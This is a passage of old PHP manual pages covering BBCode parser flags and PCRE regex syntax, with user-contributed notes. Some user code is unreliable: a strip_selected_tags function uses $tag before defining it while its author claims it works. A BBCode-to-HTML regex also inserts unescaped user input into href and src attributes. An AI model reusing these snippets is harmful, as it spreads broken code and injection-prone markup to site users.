                       'open_tag'=>'<quote><h4>Source: {PARAM}</h4>',
                       'close_tag'=>'</quote>',
                       'flags'=>BBCODE_FLAGS_REMOVE_IF_EMPTY|BBCODE_FLAGS_ARG_PARSING),
    'b'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<b>', 'close_tag'=>'</b>',
                       'flags'=>BBCODE_FLAGS_REMOVE_IF_EMPTY),
    'u'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<u>', 'close_tag'=>'</u>',
                       'flags'=>BBCODE_FLAGS_SMILEYS_OFF | BBCODE_FLAGS_REMOVE_IF_EMPTY | BBCODE_FLAGS_SMILEYS_OFF),
    'i'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<i>', 'close_tag'=>'</i>',
                       'flags'=>BBCODE_FLAGS_REMOVE_IF_EMPTY),
);
/*
 * Generating bbcode ruleset for argument parser
 */
$arrayBBCode_arg=array(
    'b'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<b class="sub">', 'close_tag'=>'</b>',
                       'flags'=>BBCODE_FLAGS_REMOVE_IF_EMPTY),
    'u'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<u>', 'close_tag'=>'</u>',
                       'flags'=>BBCODE_FLAGS_SMILEYS_OFF | BBCODE_FLAGS_REMOVE_IF_EMPTY | BBCODE_FLAGS_SMILEYS_OFF),
    'i'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<i>', 'close_tag'=>'</i>',
                       'flags'=>BBCODE_FLAGS_REMOVE_IF_EMPTY),
);
/*
 * Text we are going to parse
 */
$text=<<<EOF
[quote="[b]Test[/b]"]
Foo :)
[/quote]
[b]Bar example :)[/b] :)
EOF;
/*
 * Init the two parsers
 */
$BBHandler=bbcode_create($arrayBBCode);
$BBArgHandler=bbcode_create($arrayBBCode_arg);
/*
 * Setting Flags on the parsers
 */
bbcode_set_flags($BBHandler,
                 BBCODE_CORRECT_REOPEN_TAGS|BBCODE_DEFAULT_SMILEYS_ON|BBCODE_ARG_DOUBLE_QUOTE|
                 BBCODE_ARG_SINGLE_QUOTE|BBCODE_ARG_HTML_QUOTE,BBCODE_SET_FLAGS_SET);
bbcode_set_flags($BBArgHandler,
                 BBCODE_CORRECT_REOPEN_TAGS|BBCODE_DEFAULT_SMILEYS_ON|BBCODE_ARG_DOUBLE_QUOTE|
                 BBCODE_ARG_SINGLE_QUOTE|BBCODE_ARG_HTML_QUOTE,BBCODE_SET_FLAGS_SET);
/*
 * Setting $BBArgHandler as the BBHandler argument parser
 */
bbcode_set_arg_parser($BBHandler,$BBArgHandler);
/*
 * Adding Smileys handling rules to Main parser
 */
bbcode_add_smiley($BBHandler, ":)", "<img src=\"smiley.gif\" alt=\":)\" />");
/*
 * Use the main parser to parse text
 */
echo bbcode_parse($BBHandler,$text);
?>

The above example will output:

<quote><h4>Source: <b class="sub">Test</b></h4>
Foo <img src="smiley.gif" alt=":)" />
</quote>
<b>Bar example :)</b> <img src="smiley.gif" alt=":)" />

User Contributed Notes

There are no user contributed notes for this page.
bbcode_parse
bbcode_set_flags
BBCode Functions


Set or alter parser options

bbcode_set_arg_parser
PCRE
BBCode Functions
PHP Manual

bbcode_set_flags

(PECL bbcode >= 0.10.2)

bbcode_set_flags — Set or alter parser options

Description

bool bbcode_set_flags ( resource $bbcode_container , int $flags [, int $mode = BBCODE_SET_FLAGS_SET ] )

Set or alter parser options

Parameters

bbcode_container

BBCode_Container resource, returned by bbcode_create().

flags

The flag set that must be applied to the bbcode_container options

mode

One of the BBCODE_SET_FLAGS_* constant to set, unset a specific flag set or to replace the flag set by flags.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bbcode_set_flags() usage example

<?php
/*
 * Preparing RuleSet
 */
$arrayBBCode=array(
    'b'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<b>', 'close_tag'=>'</b>'),
    'u'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<u>', 'close_tag'=>'</u>'),
    'i'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<i>', 'close_tag'=>'</i>'),
);
/*
 * Paired incorrectly nested BBCode
 */
$text="[i] Parser [b] Auto Correction [/i] at work [/b]\n";
$BBHandler=bbcode_create($arrayBBCode);
echo bbcode_parse($BBHandler,$text);
// Enabling reopening of automaticaly closed elements
bbcode_set_flags($BBHandler,BBCODE_CORRECT_REOPEN_TAGS,
                 BBCODE_SET_FLAGS_SET);
echo bbcode_parse($BBHandler,$text);

/*
 * Unpaired incorrectly nested BBCode
 */
$text="[i] Parser [b] Auto Correction [/i] at work\n";
echo bbcode_parse($BBHandler,$text);
// Enabling automatic close of pending tags
bbcode_set_flags($BBHandler,
                 BBCODE_CORRECT_REOPEN_TAGS|BBCODE_AUTO_CORRECT,
                 BBCODE_SET_FLAGS_SET);
echo bbcode_parse($BBHandler,$text);
?>

The above example will output:

<i> Parser <b> Auto Correction </b></i> at work
<i> Parser <b> Auto Correction </b></i><b> at work </b>
<i> Parser [b] Auto Correction </i> at work
<i> Parser <b> Auto Correction </b></i><b> at work
</b>

User Contributed Notes

There are no user contributed notes for this page.
bbcode_set_arg_parser
PCRE
BBCode Functions


Regular Expressions (Perl-Compatible)

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • PCRE Patterns
    • PCRE regex syntax — Pattern Syntax
    • Possible modifiers in regex patterns — Pattern Modifiers
    • Differences From Perl — Perl Differences
    • Differences from POSIX regex
  • PCRE Functions
    • preg_filter — Perform a regular expression search and replace
    • preg_grep — Return array entries that match the pattern
    • preg_last_error — Returns the error code of the last PCRE regex execution
    • preg_match_all — Perform a global regular expression match
    • preg_match — Perform a regular expression match
    • preg_quote — Quote regular expression characters
    • preg_replace_callback — Perform a regular expression search and replace using a callback
    • preg_replace — Perform a regular expression search and replace
    • preg_split — Split string by a regular expression

User Contributed Notes

There are no user contributed notes for this page.
bbcode_set_flags
Introduction
Text Processing


Introduction

The syntax for patterns used in these functions closely resembles Perl. The expression must be enclosed in the delimiters, a forward slash (/), for example. Delimiters can be any non-alphanumeric, non-whitespace ASCII character except the backslash (\) and the null byte. If the delimiter character has to be used in the expression itself, it needs to be escaped by backslash. Since PHP 4.0.4, you can also use Perl-style (), {}, [], and <> matching delimiters. See Pattern Syntax for detailed explanation.

The ending delimiter may be followed by various modifiers that affect the matching. See Pattern Modifiers.

PHP also supports regular expressions using a POSIX-extended syntax using the POSIX-extended regex functions.

Note:

This extension maintains a global per-thread cache of compiled regular expressions (up to 4096).

Warning

You should be aware of some limitations of PCRE. Read » http://www.pcre.org/pcre.txt for more info.

The PCRE library is a set of functions that implement regular expression pattern matching using the same syntax and semantics as Perl 5, with just a few differences (see below). The current implementation corresponds to Perl 5.005.

User Contributed Notes

m dot colombo at NOSPAM dot esi dot it 12-Oct-2009 03:22
Converting POSIX regex patters to PCRE is non-trivial. I had many (about 17.000) patterns stored in a DB, and found that surrounding one with delimiters (such as '/'), after quoting them, is not enough.

I've been biten by a \r that slipped into a pattern (that was supposed to be \.r and became .\r instead). Too bad in PCRE it stands for carriage-return.

AFAIK, there's no way to disable this behaviour and make PCRE more POSIX compatibile. You have to look for every single escape sequence that has no meaning in POSIX regex but has one in PCRE and remove the backslash.

Before POSIX regex are removed it would be really cool to have a function that converts a POSIX regex pattern into the equivalent PCRE one.
PCRE
Installing/Configuring
PCRE


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
PCRE


Installation

Beginning with PHP 4.2.0 these functions are enabled by default. You can disable the pcre functions with --without-pcre-regex . Use --with-pcre-regex=DIR to specify DIR where PCRE's include and library files are located, if not using bundled library. For older versions you have to configure and compile PHP with --with-pcre-regex[=DIR] in order to use these functions.

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

Note:

As of PHP 5.3.0 this extension cannot be disabled and is therefore always present.

It is still possible to build against an external PCRE library by using --with-pcre-regex=DIR

PCRE is an active project and as it changes so does the PHP functionality that relies upon it. It is possible that certain parts of the PHP documentation is outdated, in that it may not cover the newest features that PCRE provides. For a list of changes, see the » PCRE library changelog and also the following bundled PCRE history:

Upgrade history of the bundled PCRE library
PHP Version | Updated PCRE Version | Notes
5.3.6 | 8.11 |
5.3.4 | 8.10 |
5.3.3 | 8.02 |
5.3.2 | 8.00 |
5.3.0 | 7.9 |
5.2.7 | 7.8 |
5.2.6 | 7.6 |
5.2.5 | 7.3 |
5.2.4 | 7.2 |
5.2.2 | 7.0 |
5.2.0 | 6.7 |
5.1.0 | 6.2 |
5.0.5 | 5.0 |
5.0.0 | 4.5 |
4.4.7 | 7.7 |

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PCRE Configuration Options
Name | Default | Changeable | Changelog
pcre.backtrack_limit | "1000000" | PHP_INI_ALL | Available since PHP 5.2.0.
pcre.recursion_limit | "100000" | PHP_INI_ALL | Available since PHP 5.2.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

pcre.backtrack_limit integer

PCRE's backtracking limit. Defaults to 100000 for PHP < 5.3.7.

pcre.recursion_limit integer

PCRE's recursion limit. Please note that if you set this value to a high number you may consume all the available process stack and eventually crash PHP (due to reaching the stack size limit imposed by the Operating System).

User Contributed Notes

php at richardneill dot org 14-Jan-2011 09:55
pcre.backtrack_limit defaults to 100k.  This is rather conservative.
It is limited by RAM size, not the ulimit on stack-size.

On a (2009-era) netbook, I can set pcre.backtrack_limit to 100 million, and the regex will happily process a 90 million character string in about 3 seconds. YMMV.
chris at ocproducts dot com 02-Jul-2010 07:42
pcre.backtrack_limit sets the maximum bind length PREG calls (e.g. preg_replace_callback) can make. However the actual maximum seems to be approximately half the value set here, possibly due to the character encoding that PCRE runs with internally.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

PREG constants
constant | description | since
PREG_PATTERN_ORDER | Orders results so that $matches[0] is an array of full pattern matches, $matches[1] is an array of strings matched by the first parenthesized subpattern, and so on. This flag is only used with preg_match_all(). |
PREG_SET_ORDER | Orders results so that $matches[0] is an array of first set of matches, $matches[1] is an array of second set of matches, and so on. This flag is only used with preg_match_all(). |
PREG_OFFSET_CAPTURE | See the description of PREG_SPLIT_OFFSET_CAPTURE. | 4.3.0
PREG_SPLIT_NO_EMPTY | This flag tells preg_split() to return only non-empty pieces. |
PREG_SPLIT_DELIM_CAPTURE | This flag tells preg_split() to capture parenthesized expression in the delimiter pattern as well. | 4.0.5
PREG_SPLIT_OFFSET_CAPTURE | If this flag is set, for every occurring match the appendant string offset will also be returned. Note that this changes the return values in an array where every element is an array consisting of the matched string at offset 0 and its string offset within subject at offset 1. This flag is only used for preg_split(). | 4.3.0
PREG_NO_ERROR | Returned by preg_last_error() if there were no errors. | 5.2.0
PREG_INTERNAL_ERROR | Returned by preg_last_error() if there was an internal PCRE error. | 5.2.0
PREG_BACKTRACK_LIMIT_ERROR | Returned by preg_last_error() if backtrack limit was exhausted. | 5.2.0
PREG_RECURSION_LIMIT_ERROR | Returned by preg_last_error() if recursion limit was exhausted. | 5.2.0
PREG_BAD_UTF8_ERROR | Returned by preg_last_error() if the last error was caused by malformed UTF-8 data (only when running a regex in UTF-8 mode). | 5.2.0
PREG_BAD_UTF8_OFFSET_ERROR | Returned by preg_last_error() if the offset didn't correspond to the begin of a valid UTF-8 code point (only when running a regex in UTF-8 mode). | 5.3.0
PCRE_VERSION | PCRE version and release date (e.g. "7.0 18-Dec-2006"). | 5.2.4

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
PCRE


Examples

Example #1 Examples of valid patterns

  • /<\/\w+>/
  • |(\d{3})-\d+|Sm
  • /^(?i)php[34]/
  • {^\s+(\s+)?$}

Example #2 Examples of invalid patterns

  • /href='(.*)' - missing ending delimiter
  • /\w+\s*\w+/J - unknown modifier 'J'
  • 1-\d3-\d3-\d4| - missing starting delimiter

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
PCRE Patterns
PCRE


PCRE Patterns

Table of Contents

  • PCRE regex syntax
  • Possible modifiers in regex patterns
  • Differences From Perl
  • Differences from POSIX regex

User Contributed Notes

There are no user contributed notes for this page.
Examples
PCRE regex syntax
PCRE


Pattern Syntax

Table of Contents

  • Introduction
  • Delimiters
  • Meta-characters
  • Escape sequences
  • Unicode character properties
  • Anchors
  • Dot
  • Character classes
  • Alternation
  • Internal option setting
  • Subpatterns
  • Repetition
  • Back references
  • Assertions
  • Once-only subpatterns
  • Conditional subpatterns
  • Comments
  • Recursive patterns
  • Performance

User Contributed Notes

mbrodin 24-Nov-2008 01:18
Hi!

For even better prestanda of the code below, use;

<?php
    $f = array();

    foreach($allTags[1] as $tag){
    $f[] = "%(<$tag.*?>)(.*?)(<\/$tag.*?>)%is";
    }

    if(sizeof($f)) $str = preg_replace($f, ($stripContent ? '' : '${2}'), $str);
?>

This will not use preg_replace on every tag, instead it collect the regex as array, and then executes and should be better.

It also check so there are any regex to replace! If not, it will not start preg_replace! :)

Added the "<?php" so it will highlight the code!
Ved Prakash 23-Nov-2007 02:00
Hi,

About strip_selected_tags

it removes all the tags irrespective of the selection

for removing selected tags change

    $replace = "%(<$tag.*?>)(.*?)(<\/$tag.*?>)%is";
    foreach ($allTags[1] as $tag) {
        if ($stripContent) {
            $str = preg_replace($replace,'',$str);
        }
            $str = preg_replace($replace,'${2}',$str);
    }

to

    foreach ($allTags[1] as $tag) {
        $replace = "%(<$tag.*?>)(.*?)(<\/$tag.*?>)%is";
        if ($stripContent) {
            $str = preg_replace($replace,'',$str);
        }
            $str = preg_replace($replace,'${2}',$str);
    }

Thanks
datacompboy at call2ru dot com 29-Oct-2007 10:31
For example, you want to cut an some <div> element.
Accurate, from <div> to correspond </div> element.
Here is proof-of-concept code to do this:

<?
$str = "<dqiv1>1+<div2>2+<div3><b><c>3</c></b></div3>2-</div2>1-</div1>";

preg_match("#<div.> ( ".
              " ( (?>[^<]*) ( < ( ([^/d]|d([^i]|i[^v])) | /([^d]|d([^i]|i[^v])) ) )? )* ".
           " | (?R) )* </div.>#xi", $str, $m);
var_dump($m[0]);

?>

it match accurate from <div2> to </div2>. And, if you change <dqiv1> to <div1>, it will match from <div1> to </div1>
datacompboy at call2ru dot com 29-Oct-2007 10:30
For example, you want to cut an some <div> element.
Accurate, from <div> to correspond </div> element.
Here is proof-of-concept code to do this:

<?
$str = "<dqiv1>1+<div2>2+<div3><b><c>3</c></b></div3>2-</div2>1-</div1>";

preg_match("#<div.> ( ".
              " ( (?>[^<]*) ( < ( ([^/d]|d([^i]|i[^v])) | /([^d]|d([^i]|i[^v])) ) )? )* ".
           " | (?R) )* </div.>#xi", $str, $m);
var_dump($m[0]);

?>

it match accurate from <div2> to </div2>. And, if you change <dqiv1> to <div1>, it will match from <div1> to </div1>
datacompboy at call2ru dot com 29-Oct-2007 10:24
For example, you want to cut an some <div> element.
Accurate, from <div> to correspond </div> element.
Here is proof-of-concept code to do this:

<?
$str = "<dqiv1>1+<div2>2+<div3><b><c>3</c></b></div3>2-</div2>1-</div1>";

preg_match("#<div.> ( ".
              " ( (?>[^<]*) ( < ( ([^/d]|d([^i]|i[^v])) | /([^d]|d([^i]|i[^v])) ) )? )* ".
           " | (?R) )* </div.>#xi", $str, $m);
var_dump($m[0]);

?>

it match accurate from <div2> to </div2>. And, if you change <dqiv1> to <div1>, it will match from <div1> to </div1>
chris at madblanks dot org 04-Jul-2007 12:22
When enclosing your regular expression in double quotes, back references require two backslashes.

For example, \1 is the ascii character \1. You need to provide \\1 to get the back reference.
sam marshall 24-May-2007 10:23
For anyone who sees this error:

Warning: preg_match() [function.preg-match]: Compilation failed: PCRE does not support \L, \l, \N, \P, \p, \U, \u, or \X at ...

As this manual page says, you need PHP 5.1.0 and the /u modifier in order to enable these features, but that isn't the only requirement! It is possible to install later versions of PHP (we have 5.1.4) while linking to an older PCRE install. A quick look at the PCRE changelog suggests that you probably need at least PCRE 5; we're running 4.5, while the latest is 7.1. You can find out your PCRE version by checking phpinfo().

I suspect this ancient PCRE version is included in some officially-supported Red Hat Enterprise package which is probably why we are running it so might also affect other people.
pstradomski at gmail dot com 29-Mar-2007 07:55
About strip_selected_tags function from two posts below:

it does not work if somebody uses tags without ending ">" character, like this:

<p <b> bold text </b</p

This  is even valid HTML (but not valid XHTML)
theppg_001 at hotmail dot com 20-Nov-2006 01:22
Hi there
This was originally made by someone eles but it didn't work correctly and so I remade it and as far as I know it works right.

<?php
/**
* strip_selected_tags ( string str [, string strip_tags[, strip_content flag]] )
* ---------------------------------------------------------------------
* Like strip_tags() but inverse; the strip_tags tags will be stripped, not kept.
* strip_tags: string with tags to strip, ex: "<a><p><quote>" etc.
* strip_content flag: TRUE will also strip everything between open and closed tag
*/
function strip_selected_tags($str, $tags = "", $stripContent = false)
{
    preg_match_all("/<([^>]+)>/i", $tags, $allTags, PREG_PATTERN_ORDER);
    $replace = "%(<$tag.*?>)(.*?)(<\/$tag.*?>)%is";
    foreach ($allTags[1] as $tag) {
        if ($stripContent) {
            $str = preg_replace($replace,'',$str);
        }
            $str = preg_replace($replace,'${2}',$str);
    }
    return $str;
}
?>

Before I 'fixed' it, when running
strip_selected_tags("this is <p align=\"center\">a test</p> and <b>this is bold</b>","<p><b>")
You would get back
"this is <p align=\"center\">a test</p> and this is bold"
Why? Because it did not take into account that there could be options etc in the HTML Tag.
My one works perfectly when stripping just the tags or the tag and its contents too!

So now when you run
strip_selected_tags("this is <p align=\"center\">a test</p> and <b>this is bold</b>","<p><b>")
You get back
"this is a test and this is bold"
Or when running
strip_selected_tags("this is <p align=\"center\">a test</p> and <b>this is bold</b>","<p><b>",true)
You get back
"this is  and "

Hope it helps someone :)
spook at op.pl 04-Apr-2006 11:37
A useful note for beginners: note the difference between mathematical and PHP regular expressions. The _mathematical_ regex:

(a+b+c)*

which written in PHP syntax will look like:

[abc]*

will match any string built of a, b or c letters, but will not match string, for example:

abcd

However, the _PHP_ regular expression will match above string, because the regex means "accept all strings, which contain 0 or more occurences of letters: a, b or c".

To convert the regexp from the mathematical to PHP convention, use the ^ and $ characters, which indicate start and end of tested string. So the regexp:

^[abc]*$

means "match all strings, which, between its beginning and end, have 0 or more occurences of letters a, b or c" - which is, what we searched for.

Nasty habit, especially after two tests on "theoretical basics of computer science" :)
Daniel Vandersluis 23-Nov-2005 10:50
Concerning note #6 in "Differences From Perl", the \G token *is* supported as the last match position anchor. This has been confirmed to work at least in preg_replace(), though I'd assume it'd work in preg_match_all(), and other functions that can make more than one match, as well.
roland dot illig at gmx dot de 08-Nov-2005 01:02
<quote>
9. Another as yet unresolved discrepancy is that in Perl 5.005_02 the pattern /^(a)?(?(1)a|b)+$/ matches the string "a", whereas in PCRE it does not. However, in both Perl and PCRE /^(a)?a/ matched against "a" leaves $1 unset.
</quote>

The last sentence does not indicate a bug. If the string "a" should match against the regular expression /^(a)?a/, the last "a" in the regex must be matched by any literal "a" in the string. The rest of the string is "", which obviously does not match the first /^(a)/.
Ned Baldessin 16-Jul-2005 04:14
Although \w and \W do include as "word characters" locale-specific characters (like "é" if you are using the "fr" locale), \b and \B do not work the same way.

For example :
"foo était bar"   =>   /\W(était)\W/   =>   This captures correctly "était".
"foo était bar"   =>   /\b(était)\b/   =>   This fails to capture it.

This is confusing, because the manual talks in both cases about "word characters", but fails to mention the difference in behaviour.
onerob at gmail dot com 01-Apr-2005 04:51
If, like me, you tend to use the /U pattern modifier, then you will need to remember that using ? or * to to test for optional characters will match zero characters if it means that the rest of the pattern can continue matching, even if the optional characters exist.

For instance, if we have this string:

a___bcde

and apply this pattern:

'/a(_*).*e/U'

The whole pattern is matched but none of the _ characters are placed in the sub-pattern. The way around this (if you still wish to use /U) is to use the ? greediness inverter. eg,

'/a(_*?).*e/U'
W W W 07-Mar-2005 07:22
Back references are a great way to achieve exact matching when it would have been impossible any other way. Take these three strings.

1) "www.www.com"
2) 'www.www.com'
3) "www.www.com'

The regex /^("|').+?("|')$/ would match all three strings but what if you needed the 3rd string above to be illegal because the quotes are not the same? You could write four different regexes to check for every possible case OR you could use back references.

/^("|').+?\1$/ will match strings 1 and 2 but not string 3. Try this code for further proof:

$str_test="'www.www.com\"";
$int_count=preg_match("/^(\"|').+?\\1$/", $str_test, $matches, PREG_OFFSET_CAPTURE);

The preg_match function will not match against $str_test because the quotes are mismatched. If you change $str_test to

$str_test = "'www.www.com'";

the preg_match will work.
info at atjeff dot co dot nz 07-Feb-2005 04:46
ive never used regex expressions till now and had loads of difficulty trying to convert a [url]link here[/url] into an href for use with posting messages on a forum, heres what i manage to come up with:

$patterns = array(
            "/\[link\](.*?)\[\/link\]/",
            "/\[url\](.*?)\[\/url\]/",
            "/\[img\](.*?)\[\/img\]/",
            "/\[b\](.*?)\[\/b\]/",
            "/\[u\](.*?)\[\/u\]/",
            "/\[i\](.*?)\[\/i\]/"
        );
        $replacements = array(
            "<a href=\"\\1\">\\1</a>",
            "<a href=\"\\1\">\\1</a>",
            "<img src=\"\\1\">",
            "<b>\\1</b>",
            "<u>\\1</u>",
            "<i>\\1</i>"

        );
        $newText = preg_replace($patterns,$replacements, $text);

at first it would collect ALL the tags into one link/bold/whatever, until i added the "?" i still dont fully understand it... but it works :)
J Daugherty 09-Dec-2004 09:06
In the character class meta-character documentation above, the circumflex (^) is described:

"^   negate the class, but only if the first character"

It should be a little more verbose to fully express the meaning of ^:

^    Negate the character class.  If used, this must be the first character of the class (e.g. "[^012]").
29-May-2004 02:15
In addition to the meta-characters mentioned above, there can be another special character in a regular expression: the delimiter you use to start and end your expression.  Often people use the / character for this.

For example, if you wanted to search for text surrounded by opening and closing tags like'<TD>SELL</TD>' and replace it with nothing (erase it), you might be tempted to use a regex like this:

<?php
$myNewText = preg_replace('/<TD>SELL</TD>/', "", $myText);
?>

This does not work properly.  As mentioned in the Introduction at the top of http://www.php.net/manual/en/ref.pcre.php, if the delimiter appears in the middle of your regular expression, then you must put a \ character before it.  So this DOES work:

<?php
$myNewText = preg_replace('/<TD>SELL<\/TD>/', "", $myText);
?>

That same Introduction also mentions that you can start and end your expression with characters other than the usual /.  Because there are no % characters in the middle of my expression above, I might prefer to use the following:

<?php
$myNewText = preg_replace('%<TD>SELL</TD>%', "", $myText);
?>

That also works correctly, and I did not need a \ before the /.
napalm at spiderfish dot net 17-Mar-2004 08:14
Pay attention that some pcre features such as once-only or recursive patterns are not implemented in php versions prior to 5.00

Napalm
PCRE Patterns
Introduction
PCRE Patterns


Introduction

The syntax and semantics of the regular expressions supported by PCRE are described below. Regular expressions are also described in the Perl documentation and in a number of other books, some of which have copious examples. Jeffrey Friedl's "Mastering Regular Expressions", published by O'Reilly (ISBN 1-56592-257-3), covers them in great detail. The description here is intended as reference documentation.

A regular expression is a pattern that is matched against a subject string from left to right. Most characters stand for themselves in a pattern, and match the corresponding characters in the subject. As a trivial example, the pattern The quick brown fox matches a portion of a subject string that is identical to itself.

User Contributed Notes

There are no user contributed notes for this page.
PCRE regex syntax
Delimiters
PCRE regex syntax


Delimiters

When using the PCRE functions, it is required that the pattern is enclosed by delimiters. A delimiter can be any non-alphanumeric, non-backslash, non-whitespace character.

Often used delimiters are forward slashes (/), hash signs (#) and tildes (~). The following are all examples of valid delimited patterns.

/foo bar/
#^[^0-9]$#
+php+
%[a-zA-Z0-9_-]%

If the delimiter needs to be matched inside the pattern it must be escaped using a backslash. If the delimiter appears often inside the pattern, it is a good idea to choose another delimiter in order to increase readability.

/http:\/\//
#http://#
The preg_quote() function may be used to escape a string for injection into a pattern and its optional second parameter may be used to specify the delimiter to be escaped.

In addition to the aforementioned delimiters, it is also possible to use bracket style delimiters where the opening and closing brackets are the starting and ending delimiter, respectively.

{this is a pattern}

You may add pattern modifiers after the ending delimiter. The following is an example of case-insensitive matching:

#[a-z]#i

User Contributed Notes

Anonymous 31-Oct-2011 02:38
other possible delimiters include @,!, <>

using symbols (such as | ) that have meaning inside a regex as delimiters is probably going to be counterproductive.
Introduction
Meta-characters
PCRE regex syntax


Meta-characters

The power of regular expressions comes from the ability to include alternatives and repetitions in the pattern. These are encoded in the pattern by the use of meta-characters, which do not stand for themselves but instead are interpreted in some special way.

There are two different sets of meta-characters: those that are recognized anywhere in the pattern except within square brackets, and those that are recognized in square brackets. Outside square brackets, the meta-characters are as follows:

\
general escape character with several uses
^
assert start of subject (or line, in multiline mode)
$
assert end of subject (or line, in multiline mode)
.
match any character except newline (by default)
[
start character class definition
]
end character class definition
|
start of alternative branch
(
start subpattern
)
end subpattern
?
extends the meaning of (, also 0 or 1 quantifier, also makes greedy quantifiers lazy (see repetition)
*
0 or more quantifier
+
1 or more quantifier
{
start min/max quantifier
}
end min/max quantifier
Part of a pattern that is in square brackets is called a "character class". In a character class the only meta-characters are:
\
general escape character
^
negate the class, but only if the first character
-
indicates character range
]
terminates the character class
The following sections describe the use of each of the meta-characters.

User Contributed Notes

There are no user contributed notes for this page.
Delimiters
Escape sequences
PCRE regex syntax


Escape sequences

The backslash character has several uses. Firstly, if it is followed by a non-alphanumeric character, it takes away any special meaning that character may have. This use of backslash as an escape character applies both inside and outside character classes.

For example, if you want to match a "*" character, you write "\*" in the pattern. This applies whether or not the following character would otherwise be interpreted as a meta-character, so it is always safe to precede a non-alphanumeric with "\" to specify that it stands for itself. In particular, if you want to match a backslash, you write "\\".

Note:

Single and double quoted PHP strings have special meaning of backslash. Thus if \ has to be matched with a regular expression \\, then "\\\\" or '\\\\' must be used in PHP code.

If a pattern is compiled with the PCRE_EXTENDED option, whitespace in the pattern (other than in a character class) and characters between a "#" outside a character class and the next newline character are ignored. An escaping backslash can be used to include a whitespace or "#" character as part of the pattern.

A second use of backslash provides a way of encoding non-printing characters in patterns in a visible manner. There is no restriction on the appearance of non-printing characters, apart from the binary zero that terminates a pattern, but when a pattern is being prepared by text editing, it is usually easier to use one of the following escape sequences than the binary character it represents:

\a
alarm, that is, the BEL character (hex 07)
\cx
"control-x", where x is any character
\e
escape (hex 1B)
\f
formfeed (hex 0C)
\n
newline (hex 0A)
\p{xx}
a character with the xx property, see unicode properties for more info
\P{xx}
a character without the xx property, see unicode properties for more info
\r
carriage return (hex 0D)
\t
tab (hex 09)
\xhh
character with hex code hh
\ddd
character with octal code ddd, or backreference

The precise effect of "\cx" is as follows: if "x" is a lower case letter, it is converted to upper case. Then bit 6 of the character (hex 40) is inverted. Thus "\cz" becomes hex 1A, but "\c{" becomes hex 3B, while "\c;" becomes hex 7B.

After "\x", up to two hexadecimal digits are read (letters can be in upper or lower case). In UTF-8 mode, "\x{...}" is allowed, where the contents of the braces is a string of hexadecimal digits. It is interpreted as a UTF-8 character whose code number is the given hexadecimal number. The original hexadecimal escape sequence, \xhh, matches a two-byte UTF-8 character if the value is greater than 127.

After "\0" up to two further octal digits are read. In both cases, if there are fewer than two digits, just those that are present are used. Thus the sequence "\0\x\07" specifies two binary zeros followed by a BEL character. Make sure you supply two digits after the initial zero if the character that follows is itself an octal digit.

The handling of a backslash followed by a digit other than 0 is complicated. Outside a character class, PCRE reads it and any following digits as a decimal number. If the number is less than 10, or if there have been at least that many previous capturing left parentheses in the expression, the entire sequence is taken as a back reference. A description of how this works is given later, following the discussion of parenthesized subpatterns.

Inside a character class, or if the decimal number is greater than 9 and there have not been that many capturing subpatterns, PCRE re-reads up to three octal digits following the backslash, and generates a single byte from the least significant 8 bits of the value. Any subsequent digits stand for themselves. For example:

\040
is another way of writing a space
\40
is the same, provided there are fewer than 40 previous capturing subpatterns
\7
is always a back reference
\11
might be a back reference, or another way of writing a tab
\011
is always a tab
\0113
is a tab followed by the character "3"
\113
is the character with octal code 113 (since there can be no more than 99 back references)
\377
is a byte consisting entirely of 1 bits
\81
is either a back reference, or a binary zero followed by the two characters "8" and "1"

Note that octal values of 100 or greater must not be introduced by a leading zero, because no more than three octal digits are ever read.

All the sequences that define a single byte value can be used both inside and outside character classes. In addition, inside a character class, the sequence "\b" is interpreted as the backspace character (hex 08). Outside a character class it has a different meaning (see below).

The third use of backslash is for specifying generic character types:

\d
any decimal digit
\D
any character that is not a decimal digit
\h
any horizontal whitespace character (since PHP 5.2.4)
\H
any character that is not a horizontal whitespace character (since PHP 5.2.4)
\s
any whitespace character
\S
any character that is not a whitespace character
\v
any vertical whitespace character (since PHP 5.2.4)
\V
any character that is not a vertical whitespace character (since PHP 5.2.4)
\w
any "word" character
\W
any "non-word" character

Each pair of escape sequences partitions the complete set of characters into two disjoint sets. Any given character matches one, and only one, of each pair.

A "word" character is any letter or digit or the underscore character, that is, any character which can be part of a Perl "word". The definition of letters and digits is controlled by PCRE's character tables, and may vary if locale-specific matching is taking place. For example, in the "fr" (French) locale, some character codes greater than 128 are used for accented letters, and these are matched by \w.

These character type sequences can appear both inside and outside character classes. They each match one character of the appropriate type. If the current matching point is at the end of the subject string, all of them fail, since there is no character to match.

The fourth use of backslash is for certain simple assertions. An assertion specifies a condition that has to be met at a particular point in a match, without consuming any characters from the subject string. The use of subpatterns for more complicated assertions is described below. The backslashed assertions are

\b
word boundary
\B
not a word boundary
\A
start of subject (independent of multiline mode)
\Z
end of subject or newline at end (independent of multiline mode)
\z
end of subject (independent of multiline mode)
\G
first matching position in subject

These assertions may not appear in character classes (but note that "\b" has a different meaning, namely the backspace character, inside a character class).

